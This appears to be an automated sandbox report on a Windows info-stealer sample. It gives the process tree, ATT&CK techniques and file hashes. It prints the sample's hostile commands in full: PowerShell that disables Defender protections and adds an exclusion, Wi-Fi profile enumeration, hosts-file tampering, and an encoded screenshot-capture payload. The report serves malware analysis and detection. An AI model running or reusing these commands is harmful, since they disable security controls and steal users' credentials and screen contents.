description pid Process procid_target PID 720 wrote to memory of 2132 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 85 PID 720 wrote to memory of 2132 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 85 PID 720 wrote to memory of 2544 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 87 PID 720 wrote to memory of 2544 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 87 PID 720 wrote to memory of 2104 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 88 PID 720 wrote to memory of 2104 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 88 PID 720 wrote to memory of 224 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 92 PID 720 wrote to memory of 224 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 92 PID 720 wrote to memory of 1360 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 93 PID 720 wrote to memory of 1360 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 93 PID 720 wrote to memory of 3516 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 94 PID 720 wrote to memory of 3516 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 94 PID 720 wrote to memory of 4172 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 95 PID 720 wrote to memory of 4172 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 95 PID 720 wrote to memory of 4992 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 96 PID 720 wrote to memory of 4992 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 96 PID 720 wrote to memory of 4808 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 97 PID 720 wrote to memory of 4808 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 97 PID 720 wrote to memory of 1288 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 98 PID 720 wrote to memory of 1288 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 98 PID 720 wrote to memory of 4416 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 99 PID 720 wrote to memory of 4416 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 99 PID 720 wrote to memory of 5084 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 100 PID 720 wrote to memory of 5084 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 100 PID 720 wrote to memory of 4240 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 101 PID 720 wrote to memory of 4240 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 101 PID 720 wrote to memory of 2996 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 102 PID 720 wrote to memory of 2996 720 2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe 102 PID 2996 wrote to memory of 1776 2996 powershell.exe 103 PID 2996 wrote to memory of 1776 2996 powershell.exe 103 PID 1776 wrote to memory of 4328 1776 csc.exe 107 PID 1776 wrote to memory of 4328 1776 csc.exe 107 -
Views/modifies file attributes 1 TTPs 4 IoCs
pid Process 2132 attrib.exe 2544 attrib.exe 5084 attrib.exe 4240 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe"C:\Users\Admin\AppData\Local\Temp\2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe"1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:720 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Temp\2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe2⤵
- Views/modifies file attributes
PID:2132
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe2⤵
- Views/modifies file attributes
PID:2544
-
-
C:\Windows\System32\Wbem\wmic.exewmic csproduct get UUID2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2104
-
-
C:\Windows\System32\Wbem\wmic.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:224
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2024-07-30_3cf1e06121b623d2a8aa1b87317f2862_ngrbot_poet-rat_snatch.exe2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1360
-
-
C:\Windows\System32\Wbem\wmic.exewmic os get Caption2⤵PID:3516
-
-
C:\Windows\System32\Wbem\wmic.exewmic cpu get Name2⤵PID:4172
-
-
C:\Windows\System32\Wbem\wmic.exewmic path win32_VideoController get name2⤵
- Detects videocard installed
PID:4992
-
-
C:\Windows\System32\Wbem\wmic.exewmic csproduct get UUID2⤵PID:4808
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1288
-
-
C:\Windows\system32\netsh.exenetsh wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4416
-
-
C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5084
-
-
C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:4240
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=2⤵
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l0g1fh3x\l0g1fh3x.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1776 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC870.tmp" "c:\Users\Admin\AppData\Local\Temp\l0g1fh3x\CSC67373A0D5D61407F82DB641BD58248FF.TMP"4⤵PID:4328
-
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
4Credentials In Files
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
-
Filesize
944B
MD59bc110200117a3752313ca2acaf8a9e1
SHA1fda6b7da2e7b0175b391475ca78d1b4cf2147cd3
SHA256c88e4bbb64f7fa31429ebe82c1cf07785c44486f37576f783a26ac856e02a4eb
SHA5121f1af32aa18a8cbfcc65b0d4fb7e6ca2705f125eaa85789e981ee68b90c64522e954825abf460d4b4f97567715dfae8d9b0a25a4d54d10bc4c257c472f2e80fb
-
Filesize
1KB
MD5fd2af1ca7ff7da731334b01fb4b424fd
SHA1fdc5ad48f238e4d0c9463a7f767fe0d22d2898da
SHA256321a812bc5bf25ff615813af1d6168f5818d5057d1b7b9b228015d13f74e4bf6
SHA512ee024cce5fc6d33ffc4bb9c7523383f3f131ab2062d86f1d21184a34009bdf5cd40e10e9a522081fe57303207c3fb61d09404f7ebb2b1a9ccaaffbdbef7ed730
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
426KB
MD5ea8e4d86fc5529871cad883a29d3a55e
SHA1cbe1dc57b2d16c58cc4d4ece87e369ec8f73d78d
SHA256c10ebf127b9e09c426a4dd55f985f6f98fe8f84bef5e16e5ebd19e79b2f6c1fe
SHA51256cec2fca0791139385f1de0ad438b8fd94678e351d8a26685c179e944e5a0c8bcea5cc5dba806c0d35b979ab1bf0e299f5c56e3507a7c7467e4b3f8aebc53ee
-
Filesize
4KB
MD57af7b462e3481e6715d1510d6816c07e
SHA1288192a79fe320f2b84753402037c8f5f6482dc3
SHA256424a03542d903481c45c89e5fc32dcfec3b7d56b0695924b6cc15f332db54ee8
SHA5120e23797ddb84fba12b8de057aa3eb5b8071928db9756ad40aa495bd658f763c2eaa2723dfd41518e853adc54c9eee07327c3351054a8db55f7d7098e36b49538
-
Filesize
9.5MB
MD53cf1e06121b623d2a8aa1b87317f2862
SHA1a328d0b8f5fddb5329120a42c8b4d8d454df0cc7
SHA2566a84fa6d9ada7d92608a8151e717bffcc2e10a076f6b49786475f810391d92e9
SHA5126b406234e4bdd1364e7255de3483cb14b556fa0dcd1e84d0f2151b4dffda4c259d25aa2267aab80a781e46c4ca967634e5a335b07933cee04fb3977ee9fc8c32
-
Filesize
2KB
MD56e2386469072b80f18d5722d07afdc0b
SHA1032d13e364833d7276fcab8a5b2759e79182880f
SHA256ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
SHA512e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
-
Filesize
652B
MD5ebcde12724472a54bb44e417be1ffb7e
SHA15e3b83abd694aca7d0dfbb644a53b3f2ecd86cbe
SHA256551f04ca3e2b79d55515d8e8d60fb66b81a205d24f611cb97e1c91aac0799501
SHA51242948417ce5a23caf3f35eac49636e39030bef934f015a2c5dbf92d7e4435812c61719180d7b3c28356e73b1356943cef89ed01d1428118fa514db419c5f163e
-
Filesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
-
Filesize
607B
MD5ba81bc11a5e5a5f9c48bf2560da2e4dd
SHA10945416f91dece2516a1bcf487f6504052a95b73
SHA2565e886a3dfca6d1b8f0d870d66d3cb49119b94b7dbd5f797e8a54f0bd22ed93cb
SHA51261c73434b5b5931b2ee749f62bc4bd518ad54e63fa5b83af550be3bbb29f535ca29f3e2b5d8f65c43ad5632326063858d4584628a47ef5353bad00ed7f7f14e6